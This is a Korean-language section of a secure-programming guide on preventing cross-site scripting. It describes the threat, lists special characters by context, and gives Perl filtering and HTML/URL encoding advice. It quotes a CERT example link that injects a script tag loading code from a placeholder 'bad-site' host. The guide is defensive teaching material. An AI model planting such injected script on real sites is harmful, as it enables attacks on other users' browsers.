6.13. 교차 사이트의 악의있는 컨텐트를 예방해라

어떤 보안적인 프로그램은 신뢰되지 않은 사용자 (공격자) 로부터 데이타를 받아 이를 다른 사용자 애플리케이션 (victim) 에 건네준다. 보안적인 프로그램이 victim 을 보호하지 못한다면 victim 의 애플리케이션 (웹 브라우저) 은 victim 에 해를 끼치는 방식으로 그 데이타를 처리할 수도 있다. 이는 특히 HTML 또는 XML 을 사용하는 웹 애플리케이션에 일반적인 문제로 이는 ``cross-site scripting", ``malicious HTML tags" 및 ``malicious content" 등 여러 이름으로 불리고 있다. 이 문제가 스크립트 또는 HTML 에 제한되어 있지 않고 그 기본적인 본질이 교차 사이트적이기 때문에 이 책에서는 이를 ``cross-site malicious content" 로 부를 것이다. 이 문제가 웹 애플리케이션으로만 한정되지 않음을 주목해라 그러나 웹 애플리케이션에 대한 특별한 문제이기 때문에 이 논의의 나머지는 웹 애플리케이션을 강조할 것이다. 때때로 공격자는 victim 으로 하여금 victim 에서 보안적인 프로그램으로 데이타를 보내도록 할 수 있으며 따라서 보안적인 프로그램은 이를 보호해야 한다.

6.13.1. 문제 설명

간단한 예로 시작하자. 어떤 웹 애플리케이션은 나중에 다른 독자들에게 공표될 데이타 입력에 HTML 태그를 허용하도록 설계되어 있다 (게스트북 또는 "reader comment"). 이를 막기 위해 아무 것도 하지 않는다면 이러한 태그는 스크립트, 자바 참조 (악의있는 애플릿에 대한 참조를 포함해서), DHTML 태그, 처음의 문서 끝표시 (</HTML>), 폰트 크기 요청 등을 끼워넣음으로써 다른 사용자들을 공격하기 위해 악의있는 사용자가 사용할 수 있다. 이 능력은 SSL 암호화된 연결 노출, 클라이언트를 통한 제한된 웹사이트 접근, 도메인에 기초한 보안 정책 위반, 웹페이지를 읽을 수 없게 만들기, 웹페이지를 사용하기에 불쾌하게 만들기 (화나게 하는 배너 및 공격적인 material), 프라이버시 침입 허용 (특정 페이지를 누가 읽는지 정확히 알수 있도록 하는 웹버그 삽입을 함으로써), 서비스 부인 공격 생성 (무수히 많은 윈도우 생성을 통해) 및 매우 파괴적인 공격 (스크립팅 언어 또는 브라우저에 버퍼 오버플로우와 같은 보안 취약성을 삽입함으로써) 들과 같은 다양한 효과를 위해 악용될 수 있다. 악의있는 FORM 태그를 적소에 삽입함으로써 침입자는 사용자를 속여 기밀을 다루는 정보를 드러내도록 할 수도 있다 (기존 폼의 동작을 수정함으로써). 이것이 문제의 완전한 목록은 결코 아니지만 이것이 심각한 문제를 초래할 수 있음을 깨닫게 하는데 충분하다.

대부분의 ``논의 보드 (discussion board)" 는 이미 이 문제를 알고 있으며 대부분은 이미 다양한 사람들의 논의의 일부분으로 텍스트화되어 이를 예방하기 위한 조치를 취하고 있다. 불행히 많은 웹 애플리케이션 개발자들은 이것이 더욱 일반적인 문제라고 깨닫지 못하고 있다. 한 사용자에서 다른 사용자로 보내지는 모든 데이타값은 임의의 HTML 이 예상되는 명백한 경우가 아니더라도 잠재적으로 cross-site malicious 포스팅의 소스가 될 수 있다. 사용자는 다른 사이트를 통해 데이타를 공급하도록 속을 수 있기 때문에 악의있는 데이타는 사용자 자신에 의해서도 공급될 수 있다. 다음은 악의있는 데이타를 사용자가 다른 사이트로 전송하게끔 하는 HTML 링크의 예이다 (CERT 로부터):

 <A HREF="http://example.com/comment.cgi?mycomment=<SCRIPT
 SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>

요약하면 웹 애플리케이션은 입력 (모든 폼 데이타를 포함해서) 을 검사, 필터링 또는 인코딩한 후 받아들여야 한다. 다른 사용자가 몰래 데이타를 제공할 수도 있기 때문에 웹 애플리케이션의 많은 경우 동일 사용자에게 그 데이타를 돌려보내 지 못할 수도 있다. 이러한 material 을 허용하는 것이 시스템 손상을 가져올 수는 없다고 하더라도 이는 시스템이 다른 사용자들에 대한 공격 루트가 될 수 있게끔 할 것이다. 더욱 나쁜 것은 이러한 공격이 시스템에서 나온 것처럼 보일 것이다.

CERT 는 권고안은 다음과 같이 이 문제를 기술한다:

웹 사이트가 신뢰할 수 없는 출처로부터의 확인되지 않은 입력에 기초해 동적으로 생성된 페이지에 악의있는 HTML 태그 또는 스크립트를 무심코 포함할 수도 있다 ((CERT Advisory CA-2000-02, Malicious HTML Tags Embedded in Client Web Requests).

6.13.2. 교차 사이트의 악의있는 컨텐트에 대한 해결방안

기본적으로 이는 어떤 사용자가 끼워넣은 모든 웹 애플리케이션 출력은 필터링 (이 문제를 야기할 수 있는 문자가 제거될 수 있도록), 인코딩 (이 문제를 야기할 수 있는 문자가 문제를 예방하는 방식으로 인코드될 수 있도록) 또는 유효화 (안전한 데이타만이 도착하는 것을 보증하기 위해) 되어야 함을 의미한다. 이는 URL 매개변수, 폼 데이타, 쿠키, 데이타베이스 질의, CORBA ORB 결과 및 파일내에 저장된 사용자로부터의 데이타와 같은 입력으로부터 파생된 모든 출력을 포함한다. 많은 경우 필터링과 유효화는 입력시 행해져야 하지만 인코딩은 입력 유효화 또는 출력 생성 동안에 행해질 수 있다. 분석없이 데이타를 단지 통과시키려고 한다면 입력시 데이타를 인코드하는 것이 더욱 좋다 (따라서 잊지 않을 것이다). 그러나 프로그램이 데이타를 처리한다면 출력시 데이타를 인코드하는 것이 더욱 쉬울 것이다. CERT 는 필터링과 인코딩을 데이타 출력동안에 행하라고 추천한다; 이는 나쁜 개념은 아니지만 대신 입력시 이를 하는 것이 의미가 있는 경우가 많이 있다. 중요한 문제는 모든 출력에 대해 모든 경우를 다루는지 확인하는 것이다. 그러나 이는 접근 방법에 상관없이 쉬운 작업은 아니다.

경고 - 많은 경우 이러한 기법은 출력의 문자 인코딩에 대해 제어를 하지 못한다면 파괴될 수 있다. 그렇지 않다면 공격자가 여기에 논의된 기법을 파괴하기 위해 예기치 못한 문자 인코딩을 사용할 수 있을 것이다. 고맙게도 이는 어렵지 않다; 출력 문자 인코딩에 대해 제어권을 얻는 것은 8.5절 에 논의되어 있다.

첫 하부절은 필터링, 인코딩 및 유효화될 필요가 있는 특별 문자의 식별 방법을 논의한다. 다음 절은 이러한 문자를 필터링 또는 인코딩하는 방법을 기술한다. 그러나 일반적으로 데이타 유효화 방법은 논의되지 않으며 일반적으로 입력 유효화에 대해서는 4장 을 보라 입력이 HTML 텍스트 또는 URI 라면 4.10절 을 보라. 또한 웹 애플리케이션이 악의있는 cross-postings 를 받을 수 있음을 주목해라. 따라서 비질의도 GET 프로토콜을 금지해야 한다.

6.13.2.1. 특별 문자 식별

다음은 다양한 환경에 대한 특별 문자들이다 (이 목록을 작성한 CERT 에 감사드린다):

  • 블록 수준 요소의 컨텐트내에서 (예, HTML 의 텍스트 단락의 중간에서 또는 XML 의 블록에서)

    • "<" 는 태그를 도입하기 때문에 특별하다

    • "&" 는 문자 엔티티를 도입하기 때문에 특별하다

    • ">" 는 페이지 작성자가 실제로 시작에 "<" 를 놓는다고 의미했지만 이를 에러로 생략했다는 가정하에 어떤 브라우저가 이를 특별하게 다루기 때문에 특별하다

  • 속성값에서

    • 이중 인용 부호로 둘러싸인 속성값에서 이중 인용 부호는 속성값의 끝을 표시하기 때문에 의별하다

    • 단일 인용 부호로 둘러싸인 속성값에서 단일 인용 부호는 속성값의 끝을 표시하기 때문에 특별하다. XML 에서는 합법적이 아님을 주목해라 저자는 이의 사용을 추전하지 않는다.

    • 어떠한 인용부호도 없는 속성값은 공백 및 탭과 같은 white-space 문자를 특별하게 만든다. XML 에서는 합법적이지 않으며 이는 더욱 많은 문자를 특별하게 만듬을 주목해라. 따라서 동적으로 생성된 속성값을 사용한다면 인용 부호가 없는 속성을 사용하지 않기를 추천한다.

    • "&" 는 어떤 속성과 함께 사용될 때 문자 엔티티를 도입하기 때문에 특별하다.

  • URL 에서 예를 들어 검색 엔진이 검색을 재실행하도록 결과 페이지내에 사용자가 클릭할 수 있는 링크를 제공할 수도 있다. 이는 URL 내의 검색 질의를 인코딩함으로써 구현될 수 있다. 이가 행해질때 추가적인 특별 문자를 도입한다:

    • 공백, 탭과 개행은 URL 의 끝을 표시하기 때문에 특별하다.

    • "&" 는 문자 엔티티 또는 별도의 CGI 매개변수를 도입하기 때문에 특별하다.

    • 아스키가 아닌 문자 (즉, ISO-8859-1 인코딩에서 128 보다 큰 문자) 는 URL 에서 허용되지 않으며 따라서 모두 특별하다.

    • "%" 는 HTTP 이스케이프 시퀀스로 인코드된 매개변수가 서버측 코드에 의해 디코드되는 모든 곳에서의 입력으로부터 필터링되어야 한다. "%68%65%6C%6C%6F" 와 같은 입력이 요청된 웹 페이지에 나타날 때 "hello" 가 된다면 % 는 필터링되어야 한다.

  • <SCRIPT></SCRIPT> 몸체내에서 세미콜론, 괄호, curly braces 와 개행은 텍스트가 기존 스크립트 태그내에 직접 삽입될 수 있는 상황에서 필터링되어야 한다.

  • 입력시의 모든 감탄 문자 (!) 를 출력시 이중 인용 부호로 변환하는 서버측 스크립트는 추가적인 필터링이 요구될 수도 있다.

일반적으로 & 는 HTML 과 XML 에서 특별함을 주목해라.

6.13.2.2. 필터링

이러한 특별 문자를 다루는 한가지 접근 방법은 단순히 이를 제거하는 것이다 (보통 입력 또는 출력 동안에)

유효한 문자에 대해 입력을 이미 유효화하였다면 (일반적으로 이렇게 해야 한다) 이는 단순히 유효 문자 목록에서 특별 문자를 단순히 생략함으로써 쉽게 행해진다. 다음은 합법적인 문자만 받아들여 필터링하는 펄 프로그램으로 필터가 공백이외의 어떠한 특별 문자도 받아들이지 않기 때문에 인용된 속성과 같은 부문에 꽤 유용하게 사용될 수 있다:

 # 단지 합법적인 문자들만 받아들인다:
 $summary =~ tr/A-Za-z0-9\ \.\://dc;

그러나 실제 가장 적은 수의 문자만을 제거하길 원한다면 단지 이러한 문자들만을 제거하기 위한 서브루틴을 생성할 수 있다.

 sub remove_special_chars {
  local($s) = @_;
  $s =~ s/[\<\>\"\'\%\;\(\)\&\+]//g;
  return $s;
 }
 # Sample use:
 $data = &remove_special_chars($data);

6.13.2.3. 인코딩

특별 문자를 제거하기 위한 대안은 어떠한 특별한 의미도 갖지 않도록 이들을 인코딩하는 것이다. 이는 문자를 필터링하는 것에 대해 장점을 갖는데 특히 데이타 손실을 예방한다는 것이다. 데이타가 사용자 관점에서 보았을 때 처리에 의해 엉망으로 되면 적어도 인코딩을 이용해 원래 보내졌던 데이타를 재구축하는 것이 가능하다.

HTML, XML 과 SGML 은 모두 러닝 텍스트에 인코딩을 도입하기 위한 방식으로 & 를 사용한다; 이러한 인코딩을 HTML 인코딩이라고 부른다. 이러한 문자를 인코드하기 위해서는 단순히 상황에 맞게 특별 문자를 변환해라. 보통 이는 '<', '>', '&' 와 '"" 가 각각 '&lt;', '&gt;', '&amp;' 와 '&quot;' 로 변환된다. 위에 언급했듯이 이론상 '>' 가 인용될 필요가 없음에도 불구하고 어떤 브라우저가 이를 따르기 때문에 ('<' 을 채우기 때문에) 인용될 필요가 있다. 이중 인용 부호와 관련해서는 약간의 사소한 복잡성이 있다. '&quot;' 는 속성내에서만 사용될 필요가 있고 어떤 오래된 브라우저는 이를 적절히 하지 못하기 때문이다. 추가적인 복잡성을 다룰 수 있다면 단지 필요할 때만 '"' 를 인코드하려고 할 수 있지만 단순히 이를 인코드하고 사용자에게 그들의 브라우저를 갱신하라고 요청하는 것이 더욱 쉽다.

HTML 인코딩에 대한 이 접근 방법은 어떤 상황에서 충분한 인코딩이 아니다. 8.5절 에서 논의되듯이 출력 문자 인코딩 ("charset") 을 지정할 필요가 있다. 데이타 일부가 출력 문자 인코딩외의 다른 문자 인코딩을 이용해 인코드된다면 출력이 일관성있고 정확한 인코딩을 사용하도록 무언가를 해야할 것이다. 또한 ISO-8859-1 외의 출력 인코딩을 선택했다면 "<" 와 같은 특별 문자에 대한 모든 대안 인코딩이 브라우저로 슬쩍 넣을 수 없음을 확인할 필요가 있다. 이는 UTF-7 과 UTF-8 과 같이 널리 쓰이는 몇몇 문자 인코딩과 관련된 문제이다; 대안 문자 인코딩 예방 방법에 대해 더욱 자세한 정보는 4.8절 을 보라. 비호환 문자 인코딩을 다루는 한가지 방법은 문자를 내부적으로 ISO 10646 (유니코드와 동일 문자 값을 갖는다) 으로 우선 변환시킨 후 이들을 나타내기 위해 수치 (numeric) 문자 참조 또는 문자 엔티티 참조를 사용하는 것이다.

  • 수치 문자 참조는 "&#D;" 또는 "&#xH;" 또는 "&#XH" 와 같이 보인다. D 는 십진수, H 는 십육진수이다. 주어진 수는 ISO 10646 문자 id 로 유니코드와 동일한 문자 값을 갖는다. 따라서 &#1048 은 Cyrillic 대문자 "I" 이다. 십육진법 시스템은 SGML 표준 (ISO 8879) 에서 지원되지 않는데 따라서 저자는 출력에 십진법 시스템을 사용하기를 제안한다. 또한 SGML 스펙이 마지막 세미콜론이 어떤 상황에서 생략되는 것을 허용함에도 불구하고 실제로 많은 시스템은 이를 다루지 못한다 - 그래서 마지막 세미콜론을 늘 포함해라.

  • 문자 엔티티 참조는 동일하지만 숫자 대신 의사 기호 (mnemonic) 이름을 사용한다. 예를 들어 "&lt;" 는 < 기호를 나타낸다. HTML 을 생성한다면 모든 의사 기호 이름을 열거하고 있는 HTML 스펙 을 보라.

숫자 또는 문자 엔티티는 작동한다; 저자는 '<', '>', '&' 와 '"' 에 대해 문자 엔티티 참조를 사용하기를 제안하는데 이는 코드가 사람들이 이해하기 쉽기 때문이다. 그외에는 둘중의 어떤 시스템이 더욱 좋은지는 명백하지 않다. 추후 사람이 직접 출력을 편집한다고 하면 할 수 있는 한 문자 엔티티 참조를 사용해라 그렇지 않다면 저자는 프로그래밍하기 쉬운 십진법 수치 문자 참조를 사용한다. 이러한 인코딩 시스템은 특히 아시아권 언어에 대해 매우 비효율적이다; 이것이 우선 관심사라면 다른 문자 인코딩 (charset) 을 사용하거나 중요한 문자를 필터링하거나 중요한 문자에 대해 어떤 대체 인코딩도 허용되지 않는지 확인하고 싶을 것이다.

URI 는 URL 인코딩이라고 하는 자신만의 인코딩 스킴을 갖고 있다. 이러한 시스템에서 URL 에 허용되지 않은 문자는 퍼센트기호와 two-digit 십육진수값으로 표현된다. ISO 10646 (Unicode) 의 모든 것을 다루기 위해서는 우선 코드를 UTF-8 로 변환한 후 이를 인코드하기를 추천한다. 유효한 URI 에 대해서는 4.10.4절 를 보라.